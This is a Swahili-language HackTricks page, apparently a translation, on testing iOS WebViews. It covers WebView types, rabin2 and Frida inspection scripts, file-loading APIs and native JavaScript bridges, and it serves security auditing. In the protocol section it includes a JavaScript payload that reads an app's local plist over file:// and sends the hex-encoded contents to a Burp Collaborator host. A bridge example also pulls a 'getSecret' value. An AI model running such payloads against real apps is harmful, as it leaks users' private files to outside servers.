iOS WebViews

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Nambari ya ukurasa huu ilichukuliwa kutoka hapa. Angalia ukurasa kwa maelezo zaidi.

Aina za WebViews

WebViews hutumiwa ndani ya programu kuonyesha maudhui ya wavuti kwa njia ya kuingiliana. Aina mbalimbali za WebViews hutoa utendaji na huduma za usalama tofauti kwa programu za iOS. Hapa kuna muhtasari mfupi:

  • UIWebView, ambayo haipendekezwi tena kutoka iOS 12 kwenda mbele kutokana na ukosefu wake wa msaada wa kuzima JavaScript, hivyo kuifanya kuwa rahisi kwa mashambulizi ya kuingiza script na Cross-Site Scripting (XSS).

  • WKWebView ni chaguo bora kwa kuunganisha maudhui ya wavuti kwenye programu, ikitoa udhibiti ulioboreshwa juu ya maudhui na huduma za usalama. JavaScript imeamilishwa kwa chaguo-msingi, lakini inaweza kuzimwa ikihitajika. Pia inasaidia huduma za kuzuia JavaScript kutoka kufungua madirisha kiotomatiki na kuhakikisha kuwa maudhui yote yanapakia kwa usalama. Kwa kuongezea, muundo wa WKWebView unapunguza hatari ya uharibifu wa kumbukumbu kuathiri mchakato mkuu wa programu.

  • SFSafariViewController inatoa uzoefu wa kawaida wa kuvinjari wavuti ndani ya programu, inayotambulika kwa muundo wake maalum ikiwa ni pamoja na uga wa anwani usio na uwezo wa kuandika, vifungo vya kushiriki na urambazaji, na kiunga moja kwa moja cha kufungua maudhui kwenye Safari. Tofauti na WKWebView, JavaScript haiwezi kuzimwa katika SFSafariViewController, ambayo pia inashiriki vidakuzi na data na Safari, ikilinda faragha ya mtumiaji kutoka kwenye programu. Lazima ionyeshwe kwa njia inayojulikana kulingana na mwongozo wa Duka la App.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Muhtasari wa Uchunguzi wa Usanidi wa WebViews

Maelezo ya Uchambuzi Statiki

Katika mchakato wa kuchunguza usanidi wa WebViews, kuna aina mbili kuu zinazozingatiwa: UIWebView na WKWebView. Kwa kubainisha WebViews hizi ndani ya faili ya binary, amri hutumiwa kutafuta marejeleo ya darasa maalum na njia za kuanzisha.

  • Uthibitisho wa UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Amri hii inasaidia kupata sehemu za UIWebView kwa kutafuta herufi zinazohusiana nayo katika faili ya binary.

  • Uthibitisho wa WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Vivyo hivyo, kwa WKWebView, amri hii inatafuta faili ya binary kwa maneno yanayodhihirisha matumizi yake.

Zaidi ya hayo, ili kupata jinsi WKWebView inavyoanzishwa, amri ifuatayo inatekelezwa, ikilenga saini ya njia inayohusiana na uanzishaji wake:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Uhakiki wa Usanidi wa JavaScript

Kwa WKWebView, inasisitizwa kuwa kuzima JavaScript ni njia bora isipokuwa ikihitajika. Faili iliyoundwa inatafutwa ili kuhakikisha kuwa mali ya javaScriptEnabled imewekwa kama false, ikidhibitisha kuwa JavaScript imezimwa:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Uthibitisho wa Yaliyomo Salama Pekee

WKWebView inatoa uwezo wa kutambua matatizo ya yaliyomo mchanganyiko, tofauti na UIWebView. Hii inathibitishwa kwa kutumia mali ya hasOnlySecureContent ili kuhakikisha kuwa rasilimali zote za ukurasa zimepakiwa kupitia uhusiano salama. Utafutaji katika faili iliyohaririwa hufanyika kama ifuatavyo:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Machapisho ya Uchambuzi wa Kudumu

Uchambuzi wa kudumu unahusisha ukaguzi wa kundi la kumbukumbu ya WebView na mali zake. Skripti iliyoitwa webviews_inspector.js hutumiwa kwa kusudi hili, ikilenga kundi la kumbukumbu za UIWebView, WKWebView, na SFSafariViewController. Inaandika habari kuhusu kundi la kumbukumbu zilizopatikana, ikiwa ni pamoja na URL na mipangilio inayohusiana na JavaScript na maudhui salama.

Ukaguzi wa kundi la kumbukumbu unaweza kufanywa kwa kutumia ObjC.choose() ili kutambua kundi la kumbukumbu za WebView na kuangalia mali za javaScriptEnabled na hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Script inatekelezwa kwa kutumia:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Matokeo Muhimu:

  • Sehemu za WebViews zinapatikana na kuchunguzwa kwa mafanikio.

  • Uwezeshaji wa JavaScript na mipangilio salama ya maudhui inathibitishwa.

Muhtasari huu unawakilisha hatua muhimu na amri zinazohusika katika uchambuzi wa mipangilio ya WebView kupitia njia za tuli na za kudumu, kuzingatia vipengele vya usalama kama uwezeshaji wa JavaScript na ugunduzi wa maudhui yaliyochanganyika.

Kusindika Itifaki za WebView

Kusindika maudhui katika WebViews ni jambo muhimu, haswa linapokuja suala la itifaki mbalimbali kama vile http(s)://, file://, na tel://. Itifaki hizi huruhusu kupakia maudhui ya mbali na ya ndani ndani ya programu. Inasisitizwa kwamba wakati wa kupakia maudhui ya ndani, tahadhari lazima ichukuliwe ili kuzuia watumiaji kubadilisha jina au njia ya faili na kuhariri maudhui yenyewe.

WebViews hutoa njia tofauti za kupakia maudhui. Kwa UIWebView, ambayo sasa imepitwa na wakati, njia kama loadHTMLString:baseURL: na loadData:MIMEType:textEncodingName:baseURL: hutumiwa. WKWebView, kwa upande mwingine, hutumia loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, na loadRequest: kwa maudhui ya wavuti. Njia kama pathForResource:ofType:, URLForResource:withExtension:, na init(contentsOf:encoding:) kawaida hutumiwa kupakia faili za ndani. Njia loadFileURL:allowingReadAccessToURL: ni muhimu hasa kwa uwezo wake wa kupakia URL au saraka maalum ndani ya WebView, ikifichua data nyeti ikiwa saraka imeelekezwa.

Ili kupata njia hizi katika nambari ya chanzo au faili iliyokompiliwa, amri kama zifuatazo zinaweza kutumika:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Kuhusu upatikanaji wa faili, UIWebView inaruhusu kwa ujumla, wakati WKWebView inaleta mipangilio ya allowFileAccessFromFileURLs na allowUniversalAccessFromFileURLs kwa kusimamia upatikanaji kutoka kwa URL za faili, ambapo zote mbili ni za uwongo kwa chaguo-msingi.

Mfano wa skrini ya Frida umetolewa kuangalia mipangilio ya usalama ya WKWebView:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Mwisho, mfano wa mzigo wa JavaScript unaolenga kuvuja faili za ndani unaonyesha hatari ya usalama inayohusiana na WebViews zisizowekwa vizuri. Mzigo huu unakodisha maudhui ya faili kwa muundo wa hex kabla ya kuyatuma kwa seva, ukionyesha umuhimu wa hatua kali za usalama katika utekelezaji wa WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Njia za Asili Zilizofunuliwa Kupitia WebViews

Kuelewa Miunganisho ya Asili ya WebView katika iOS

Kuanzia iOS 7 na kuendelea, Apple ilitoa APIs kwa mawasiliano kati ya JavaScript katika WebView na vitu vya asili vya Swift au Objective-C. Ushirikiano huu unawezeshwa hasa kupitia njia mbili:

  • JSContext: Kazi ya JavaScript inaundwa moja kwa moja wakati kipande cha Swift au Objective-C kinahusishwa na kitambulisho ndani ya JSContext. Hii inaruhusu ushirikiano na mawasiliano laini kati ya JavaScript na nambari ya asili.

  • Itifaki ya JSExport: Kwa kurithi itifaki ya JSExport, mali za asili, njia za kesi, na njia za darasa zinaweza kufunuliwa kwa JavaScript. Hii inamaanisha mabadiliko yoyote yaliyofanywa katika mazingira ya JavaScript yanajitokeza katika mazingira ya asili, na kinyume chake. Hata hivyo, ni muhimu kuhakikisha kuwa data nyeti haifichuliwi kwa bahati mbaya kupitia njia hii.

Kupata JSContext katika Objective-C

Katika Objective-C, JSContext kwa UIWebView inaweza kupatikana kwa kutumia msimbo ufuatao:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Mawasiliano na WKWebView

Kwa WKWebView, ufikiaji moja kwa moja wa JSContext haupo. Badala yake, ujumbe unatumwa kupitia kazi ya postMessage, kuruhusu mawasiliano kati ya JavaScript na programu ya asili. Wachanganuzi kwa ajili ya ujumbe huu huanzishwa kama ifuatavyo, kuruhusu JavaScript kuingiliana na programu ya asili kwa usalama:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Mwingiliano na Majaribio

JavaScript inaweza kuingiliana na safu ya asili kwa kufafanua kifaa cha ujumbe cha skripti. Hii inaruhusu shughuli kama kuita kazi za asili kutoka kwenye ukurasa wa wavuti:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Kwa kuchukua na kubadilisha matokeo ya wito wa kazi ya asili, mtu anaweza kubadilisha kazi ya kurejesha ndani ya HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Upande wa asili unashughulikia wito wa JavaScript kama inavyoonyeshwa katika darasa la JavaScriptBridgeMessageHandler, ambapo matokeo ya operesheni kama vile kuzidisha nambari yanapangwa na kutumwa tena kwa JavaScript ili kuonyeshwa au kufanyiwa mabadiliko zaidi:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Kurekebisha Mipangilio ya iOS WebViews

(Mafunzo yaliyojikita kwenye https://blog.vuplex.com/debugging-webviews)

Ili kurekebisha maudhui ya wavuti kwa ufanisi ndani ya iOS webviews, mazingira maalum yanahitajika ambayo yanahusisha zana za maendeleo za Safari kutokana na ukweli kwamba ujumbe uliotumwa kwa console.log() haionyeshwi kwenye magogo ya Xcode. Hapa kuna mwongozo rahisi, ukiangazia hatua muhimu na mahitaji:

  • Maandalizi kwenye Kifaa cha iOS: Safari Web Inspector inahitaji kuwezeshwa kwenye kifaa chako cha iOS. Hii inafanywa kwa kwenda kwenye Mipangilio > Safari > Advanced, na kuwezesha Web Inspector.

  • Maandalizi kwenye Kifaa cha macOS: Kwenye kompyuta yako ya maendeleo ya macOS, lazima uwezeshe zana za maendeleo ndani ya Safari. Anza Safari, nenda Safari > Mapendeleo > Advanced, na chagua chaguo la Onyesha menyu ya Maendeleo.

  • Unganisho na Kurekebisha: Baada ya kuunganisha kifaa chako cha iOS kwenye kompyuta yako ya macOS na kuzindua programu yako, tumia Safari kwenye kifaa chako cha macOS kuchagua webview unayotaka kurekebisha. Nenda kwenye Develop kwenye menyu ya Safari, weka kipanya juu ya jina la kifaa chako cha iOS ili kuona orodha ya mifano ya webview, na chagua mfano unayotaka kukagua. Dirisha jipya la Safari Web Inspector litafunguka kwa kusudi hili.

Hata hivyo, kuwa mwangalifu kuhusu vikwazo:

  • Kurekebisha kwa njia hii kunahitaji kifaa cha macOS kwani inategemea Safari.

  • Webviews tu katika programu zilizopakiwa kwenye kifaa chako kupitia Xcode zinastahili kurekebishwa. Webviews katika programu zilizosakinishwa kupitia Duka la App au Apple Configurator haziwezi kurekebishwa kwa njia hii.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated